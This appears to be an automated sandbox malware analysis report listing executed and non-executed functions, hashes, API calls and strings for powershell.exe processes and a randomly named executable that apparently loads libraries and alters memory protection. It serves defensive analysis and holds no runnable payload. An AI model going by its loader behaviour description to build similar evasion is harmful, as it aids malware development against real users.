Commandline:	ping 1.1.1.1 -n 1 -w 3000
Imagebase:	0x7ff66e550000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF848FE42BF Relevance: 3.6, Strings: 2, Instructions: 1104COMMON

Download Yara Rule

Strings

6n[, xrefs: 00007FF848FE42F7
6n[, xrefs: 00007FF848FE494A

Memory Dump Source

Source File: 00000005.00000002.2230109319.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID: 6n[$6n[
API String ID: 0-1807103003
Opcode ID: 7db6a3ab13240b06b3e0645d28ca7a654d2e78859ac7bfafa53b4ba4c134a132
Instruction ID: 05e02808644ca83842b58e6ab2a298b6ae778a92bff8ef6ba51e2bb07dad3540
Opcode Fuzzy Hash: 7db6a3ab13240b06b3e0645d28ca7a654d2e78859ac7bfafa53b4ba4c134a132
Instruction Fuzzy Hash: 5962F431E0DB894FE796AB2858551B47BE1EFA6660F0901FFD049C71D3DB1CAC06839A

Function 00007FF848FE6CE5 Relevance: 1.7, Strings: 1, Instructions: 435COMMON

Download Yara Rule

Strings

h7n[, xrefs: 00007FF848FE6EDD

Memory Dump Source

Source File: 00000005.00000002.2230109319.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID: h7n[
API String ID: 0-4181015984
Opcode ID: ab7516e2a5d8be7ec62c123f580d416679d5a08a8b6d242a813b48976417c492
Instruction ID: 4ae1f97ac5fea237af4f74e83a28d7ad3e332ee52361f39442019125569bbae4
Opcode Fuzzy Hash: ab7516e2a5d8be7ec62c123f580d416679d5a08a8b6d242a813b48976417c492
Instruction Fuzzy Hash: 2CD10031D0EA8A5FE7A6AB6898155B5BBE0EF16394F0801FAD04DC71D3EB1CAC05C355

Function 00007FF848F19645 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2229605600.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1010e42cef4e773cfeebac45a52c20c3bdbb8bd27b03b297cf62af56f58f4ac6
Instruction ID: 88a649d1fd85dd275fe71d86bf595ed4fd8e94a4359e01ea1d035fe552c601a8
Opcode Fuzzy Hash: 1010e42cef4e773cfeebac45a52c20c3bdbb8bd27b03b297cf62af56f58f4ac6
Instruction Fuzzy Hash: 2F31E83191CB8C4FDB19DB5C984A6A97BE0FB69321F00426FE449C3692DB74A855CBC2

Function 00007FF848DFE620 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2229169440.00007FF848DFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848dfd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdcb7b721e631fc5faf9dd154d0b24b720214994381130fa9c6f4d7b6d1b207c
Instruction ID: 1e9045febeeef693a9012041f992dee6bc373461335e08de2c6bc81a9438473b
Opcode Fuzzy Hash: fdcb7b721e631fc5faf9dd154d0b24b720214994381130fa9c6f4d7b6d1b207c
Instruction Fuzzy Hash: 4B41167180EBC44FE7569B299845A523FF0EF56360F1505DFE088CF1A3D629A84AC7A2

Function 00007FF848F1A36C Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2229605600.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d667d5a006f213a4cff6957265c8859e7e4ed3fd4f3ba8f1398745e657eab95
Instruction ID: 3fec6ceafea5ae3b7b67dd9db07b254220db253edd0fe515e3b2ae0a5ff6b647
Opcode Fuzzy Hash: 9d667d5a006f213a4cff6957265c8859e7e4ed3fd4f3ba8f1398745e657eab95
Instruction Fuzzy Hash: BD21063090C74C4FDB59DBAC984A7E97BE0EB96320F04426FD048C3192DA75A856CB92

Function 00007FF848FE478F Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2230109319.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bf2e0899799b8041914f5a67d905dd52eba3ae0e12621de8aa004581cd7a510
Instruction ID: f30a2614c275dacd86d23ce36899aaf8ea30367554e8847783532b8d97c1067a
Opcode Fuzzy Hash: 8bf2e0899799b8041914f5a67d905dd52eba3ae0e12621de8aa004581cd7a510
Instruction Fuzzy Hash: A4219E32E0ED8B4FE7A9EB18689017566D2EFA5650F5901BEC01DC75E2CF1CEC048389

Function 00007FF848F19755 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2229605600.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95461e00571d12bba15438e89d98dea63e51d8d66d8b2af0d5083a0fd3b27cdb
Instruction ID: d5cdda1600653c43a28e61bea1f6726b16aff41f561a0e1ff28e2ecdf1a48c47
Opcode Fuzzy Hash: 95461e00571d12bba15438e89d98dea63e51d8d66d8b2af0d5083a0fd3b27cdb
Instruction Fuzzy Hash: 1531B63190E7C24FE7179B286C552A4BFB0EF53364F0801BBC0998B8D7DA1D6456C796

Function 00007FF848FE4A8C Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2230109319.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7820ca68081a6ec0ba92693830dabd6efe2f1dfb90afcc7e682d1f4833fe2a54
Instruction ID: 044f9ae9f45ae6b627a588b67416b75beed1c7459efc625dadd69b0b15689fed
Opcode Fuzzy Hash: 7820ca68081a6ec0ba92693830dabd6efe2f1dfb90afcc7e682d1f4833fe2a54
Instruction Fuzzy Hash: 1D119E32D0D94A4FE7B4EF28A4545B467E1EF64660F4900BED05DC75D2DB1CAC04835D

Function 00007FF848F137B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2229605600.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 9a777aafea286c7c3717d697910decb0fb41b5c819ea40d980805b536fb5cf85
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 7801677111CB0D4FDB44EF0CE451AA6B7E0FB95364F10056EE58AC3695D736E882CB45

Function 00007FF848F19FC8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2229605600.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8189bca01d9cbfae4054be8bc405492882ff7137a649e5acf925b01677257558
Instruction ID: 1d15233fec540136ede7504fcd5f10cf78dea7a8001d4790718d2e243cfa1e8c
Opcode Fuzzy Hash: 8189bca01d9cbfae4054be8bc405492882ff7137a649e5acf925b01677257558
Instruction Fuzzy Hash: 44F0B43181C6894FDB46EF28885A5D57FE0EF16350F05029BE458C71A2DB65A858CBC2

Non-executed Functions

Function 00007FF848F15CF2 Relevance: 5.1, Strings: 4, Instructions: 106COMMON

Download Yara Rule

Strings

N_^, xrefs: 00007FF848F15D01
p"I, xrefs: 00007FF848F15D93
p"I, xrefs: 00007FF848F15D5A
!P_H, xrefs: 00007FF848F15D9D

Memory Dump Source

Source File: 00000005.00000002.2229605600.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: !P_H$p"I$p"I$N_^
API String ID: 0-3652592550
Opcode ID: c5ad22a7c2bc22150c8994ce439c302f8eae9e029b306eadd8b31bdfa95683d3
Instruction ID: 4846d5731cea6be272ff96c5bc8a58c7180d891737097e09ae6c7ec7e5d0f7db
Opcode Fuzzy Hash: c5ad22a7c2bc22150c8994ce439c302f8eae9e029b306eadd8b31bdfa95683d3
Instruction Fuzzy Hash: 3821E432F1DA8A4FE785E72C58692B437E0FFB9351B0905B7C048C7192DE14EC068354

Function 00007FF848F18B0D Relevance: 5.1, Strings: 4, Instructions: 90COMMON

Download Yara Rule

Strings

N_^, xrefs: 00007FF848F18AFA
N_^, xrefs: 00007FF848F18B2A
N_^, xrefs: 00007FF848F18B7A
N_^, xrefs: 00007FF848F18BC2

Memory Dump Source

Source File: 00000005.00000002.2229605600.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: N_^$N_^$N_^$N_^
API String ID: 0-3900292545
Opcode ID: c69c2cdcfb11c2fa079db4f48cb9ab73d2d6b595a0c8d2773987499fb87307fd
Instruction ID: 11347c5a3d18d8003197f95995a6bed725493bd8601fb2844c2a499e881deebf
Opcode Fuzzy Hash: c69c2cdcfb11c2fa079db4f48cb9ab73d2d6b595a0c8d2773987499fb87307fd
Instruction Fuzzy Hash: 722187B2F1EAD24FE30697295D350A42FD0AF22799F4D00FAC5C94A0D3ED1A6C07925A

Analysis Process: powershell.exePID: 6696, Parent PID: 3724COMMON

Executed Functions

Function 00007FF848FE6CE5 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2433514880.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58c3abb69237e4875d32acec183bb88576136965e96861566a658877baa277d8
Instruction ID: bf30600f4f530804a67e5104fd85597ef52b1776d4788a3e5d75d48fab41b2f8
Opcode Fuzzy Hash: 58c3abb69237e4875d32acec183bb88576136965e96861566a658877baa277d8
Instruction Fuzzy Hash: 02D10131D1EACE5FE7A6AB2898155B5BBE0EF16390F0801FAD04DCB1D3EA1CA805C355

Function 00007FF848FE4743 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2433514880.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c75dbf1a2648879fdf0db3f41acf519dd2241342f0f9cd0a49a05858fe349d59
Instruction ID: 40e3ce099821a19cf3898530d47455859fcd9f76b965fae079a51ee10dc63820
Opcode Fuzzy Hash: c75dbf1a2648879fdf0db3f41acf519dd2241342f0f9cd0a49a05858fe349d59
Instruction Fuzzy Hash: 9B51E332E0DE8A4FE799AB1C64512B577D2EFA5660F5801BEC00DC71D2DF1CE8018399

Function 00007FF848F19755 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2432738679.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8d00f5304da0f4752c5a623e1aa15b222566a21d10396dd64e2d212fc01fa97
Instruction ID: af04989d9a3798ff2d5f52187574fe9975aba95d1c9461c69e402b941acdae6c
Opcode Fuzzy Hash: b8d00f5304da0f4752c5a623e1aa15b222566a21d10396dd64e2d212fc01fa97
Instruction Fuzzy Hash: 7551A73290E6C14FE3079B6868551A57FB0FF12264F9841FBC0998B4D7DA1D584AC3AA

Function 00007FF848F19645 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2432738679.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1010e42cef4e773cfeebac45a52c20c3bdbb8bd27b03b297cf62af56f58f4ac6
Instruction ID: 88a649d1fd85dd275fe71d86bf595ed4fd8e94a4359e01ea1d035fe552c601a8
Opcode Fuzzy Hash: 1010e42cef4e773cfeebac45a52c20c3bdbb8bd27b03b297cf62af56f58f4ac6
Instruction Fuzzy Hash: 2F31E83191CB8C4FDB19DB5C984A6A97BE0FB69321F00426FE449C3692DB74A855CBC2

Function 00007FF848DFE700 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2431971305.00007FF848DFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848dfd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dd670d394a735c7c07c075af1270008e0e50706a70a30b6a117d1ddaea3e06d
Instruction ID: 9c29674bc5d1e5b8db7cca702a1d539c4d80717eac5dca0cb0e4d80559fa3a85
Opcode Fuzzy Hash: 0dd670d394a735c7c07c075af1270008e0e50706a70a30b6a117d1ddaea3e06d
Instruction Fuzzy Hash: 2541E57180EBC44FD7569B289855A523FF0EF57360F1902DFD088CB1A7D625AC4AC7A2

Function 00007FF848F1A36C Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2432738679.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92279654b8f8006cb36c02a7951b24c346f7589f4637b0180ee934a41839c040
Instruction ID: 6449013a6167c079b363100a8667ef5a038e99f3a7387ddf010378e49a4adef7
Opcode Fuzzy Hash: 92279654b8f8006cb36c02a7951b24c346f7589f4637b0180ee934a41839c040
Instruction Fuzzy Hash: B031093090C78C4FDB59DBAC984A7E97FE0EB56320F04426FD048C3152D675A855CB92

Function 00007FF848FE478F Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2433514880.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c9d372b928838a179fa2072ebd4b809125691ab0523817e7627538008b9ef88
Instruction ID: 3268d7f2388d1178202e7770d928d296c5edc4cea3f7c04860ccf1065056df76
Opcode Fuzzy Hash: 0c9d372b928838a179fa2072ebd4b809125691ab0523817e7627538008b9ef88
Instruction Fuzzy Hash: 27219E32E1EE8B4FE7A9EB18689017566D2EFA5250F5901BEC05DC75E2CF1CEC008389

Function 00007FF848F137B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2432738679.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 9a777aafea286c7c3717d697910decb0fb41b5c819ea40d980805b536fb5cf85
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 7801677111CB0D4FDB44EF0CE451AA6B7E0FB95364F10056EE58AC3695D736E882CB45

Function 00007FF848F19FC8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2432738679.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8189bca01d9cbfae4054be8bc405492882ff7137a649e5acf925b01677257558
Instruction ID: 1d15233fec540136ede7504fcd5f10cf78dea7a8001d4790718d2e243cfa1e8c
Opcode Fuzzy Hash: 8189bca01d9cbfae4054be8bc405492882ff7137a649e5acf925b01677257558
Instruction Fuzzy Hash: 44F0B43181C6894FDB46EF28885A5D57FE0EF16350F05029BE458C71A2DB65A858CBC2

Function 00007FF848FE4ACA Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2433514880.00007FF848FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848fe0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22f5ec5373c642952a22d8f3519c77c25b87e4bc802e39ec34e0a91e0f8496d8
Instruction ID: e893e1b42e0486ac919294b4f8599655e698979e48219b6fe0cb68f31ee2d526
Opcode Fuzzy Hash: 22f5ec5373c642952a22d8f3519c77c25b87e4bc802e39ec34e0a91e0f8496d8
Instruction Fuzzy Hash: ACF09A31A0D9498FEB68EB5CA4459A8BBE0EF15361F0500BAE05DC70A3DB2AEC54C758

Non-executed Functions

Function 00007FF848F18B0D Relevance: 5.1, Strings: 4, Instructions: 89COMMON

Download Yara Rule

Strings

N_^, xrefs: 00007FF848F18AFA
N_^, xrefs: 00007FF848F18B7A
N_^, xrefs: 00007FF848F18BC2
N_^, xrefs: 00007FF848F18B2A

Memory Dump Source

Source File: 00000009.00000002.2432738679.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff848f10000_powershell.jbxd

Similarity

API ID:
String ID: N_^$N_^$N_^$N_^
API String ID: 0-3900292545
Opcode ID: d7244402c7e99a4fbfac7b82bd2282e905117d8181dd2f9032bba15345acbcba
Instruction ID: 98fac50cf5417cb267ffed695b0591f3fc1dc7cca3935596402d24cf649edf2e
Opcode Fuzzy Hash: d7244402c7e99a4fbfac7b82bd2282e905117d8181dd2f9032bba15345acbcba
Instruction Fuzzy Hash: 482187B2E1EAD24FE30A97295C650643FD0AF21749F4D00FAD5C98A0D3EE1A6C47925A

Analysis Process: qflwedtkihuzyxlg.exePID: 1784, Parent PID: 3724COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.4%
Total number of Nodes:	1532
Total number of Limit Nodes:	29

Executed Functions

Function 00007FF6350D3C70 Relevance: 40.6, APIs: 14, Strings: 9, Instructions: 376
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6350D3C83

Part of subcall function 00007FF6350D3060: GetCurrentProcess.KERNEL32 ref: 00007FF6350D3071
Part of subcall function 00007FF6350D3060: GetTempPathA.KERNEL32 ref: 00007FF6350D30C8
Part of subcall function 00007FF6350D3060: strlen.MSVCRT ref: 00007FF6350D31E7

GetTempPathW.KERNEL32 ref: 00007FF6350D3CEA
wcslen.MSVCRT ref: 00007FF6350D3D0B
wcslen.MSVCRT ref: 00007FF6350D3D29

Part of subcall function 00007FF6351C5AE0: memcpy.MSVCRT ref: 00007FF6351C5B18

strlen.MSVCRT ref: 00007FF6350D3E21
LoadLibraryA.KERNEL32 ref: 00007FF6350D3ED1
GetProcAddress.KERNEL32 ref: 00007FF6350D3EEB
GetProcAddress.KERNEL32 ref: 00007FF6350D3F44
GetProcAddress.KERNEL32 ref: 00007FF6350D3F94
wcslen.MSVCRT ref: 00007FF6350D3FE3
LdrLoadDll.NTDLL ref: 00007FF6350D40A4
GetProcAddress.KERNEL32 ref: 00007FF6350D40C3
VirtualProtect.KERNEL32 ref: 00007FF6350D40E0
LdrUnloadDll.NTDLL ref: 00007FF6350D40EF

Strings

basic_string::append, xrefs: 00007FF6350D42F3, 00007FF6350D4320
:a.dll, xrefs: 00007FF6350D3FD9
4.&.Z{,-, xrefs: 00007FF6350D406F
basic_string: construction from null is not valid, xrefs: 00007FF6350D4314
LdrLoadDll, xrefs: 00007FF6350D3EE1
B, xrefs: 00007FF6350D3F6D
a.dll, xrefs: 00007FF6350D3D1F
zSJlTWS\Execute, xrefs: 00007FF6350D3F4C
Z{,-, xrefs: 00007FF6350D3FF5

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: AddressProc$wcslen$CurrentLoadPathProcessTempstrlen$LibraryProtectUnloadVirtualmemcpy
String ID: 4.&.Z{,-$:a.dll$B$LdrLoadDll$Z{,-$a.dll$basic_string: construction from null is not valid$basic_string::append$zSJlTWS\Execute
API String ID: 2265943254-318193387
Opcode ID: d3260cb38a9c36aebabc4c065289f6fadcbe63b3b25f555bfdb7e37c1326c77d
Instruction ID: 05cfadf6f50fdf3d853d8a6adc613e072d6e1890b6567f3659ad07326c4295bb
Opcode Fuzzy Hash: d3260cb38a9c36aebabc4c065289f6fadcbe63b3b25f555bfdb7e37c1326c77d
Instruction Fuzzy Hash: 6AF16E62609B8781EA249B15E4403BEB7A1FF85F80F848235DA8E87B98DF7DD945D700

Function 00007FF6350D34D0 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 406
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6351DAB80: malloc.MSVCRT ref: 00007FF6351DAB97

memcpy.MSVCRT ref: 00007FF6350D3516
CreateFileW.KERNEL32 ref: 00007FF6350D356D
WriteFile.KERNEL32 ref: 00007FF6350D359D
CloseHandle.KERNEL32 ref: 00007FF6350D35AE
wcslen.MSVCRT ref: 00007FF6350D3686
CloseHandle.KERNEL32 ref: 00007FF6350D38C0

Strings

basic_string::append, xrefs: 00007FF6350D3C06, 00007FF6350D3C44, 00007FF6350D3C55

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CloseFileHandle$CreateWritemallocmemcpywcslen
String ID: basic_string::append
API String ID: 3391094610-3811946249
Opcode ID: 78380d1a83e4ba5450dd649ddc50ba33afb1860a97349e9cbfbbaa4f46106450
Instruction ID: 3f105b4463c338c030b9c1def3207b7b1e8b62ab44b95e94e4e487de452d141d
Opcode Fuzzy Hash: 78380d1a83e4ba5450dd649ddc50ba33afb1860a97349e9cbfbbaa4f46106450
Instruction Fuzzy Hash: B0027E76A08BC681EA64CB25E4447AEA3A1FF85FD0F409231DA9D87B98DF3DD845D700

Function 00007FF6350D3060 Relevance: 7.7, APIs: 5, Instructions: 231
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6350D3071
GetTempPathA.KERNEL32 ref: 00007FF6350D30C8
strlen.MSVCRT ref: 00007FF6350D31E7
strlen.MSVCRT ref: 00007FF6350D32A9
memcpy.MSVCRT ref: 00007FF6350D32EE

Part of subcall function 00007FF63510EE70: memchr.MSVCRT ref: 00007FF63510EEB1

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strlen$CurrentPathProcessTempmemchrmemcpy
String ID:
API String ID: 1237187527-0
Opcode ID: 5ef3c2be628a64ce83fb787231ecc68f9a4ed4515f04779f445a841b18f33986
Instruction ID: e819d47279b292849ad254380a856a2930664c7a17e439f59ce01f6740e9780e
Opcode Fuzzy Hash: 5ef3c2be628a64ce83fb787231ecc68f9a4ed4515f04779f445a841b18f33986
Instruction Fuzzy Hash: AFA17126608B8282EA548B29E4403AEA7A1FB85FD0F544231EF9D87BD8DF7DD445DB00

Function 00007FF6350D11D9 Relevance: 7.6, APIs: 5, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e834b17de2f4b311db62b443a0c29c6b1bda556b249456a2f69ad9634959c262
Instruction ID: 1bf4b39a18f10abe4473d7164b060fd90a5a421043ff82435180d78fba0f3bde
Opcode Fuzzy Hash: e834b17de2f4b311db62b443a0c29c6b1bda556b249456a2f69ad9634959c262
Instruction Fuzzy Hash: 7F410525E2DB8785FA20AB65E4902B923E5AF45F80F444039DA0DC7796EF3EEC11A250

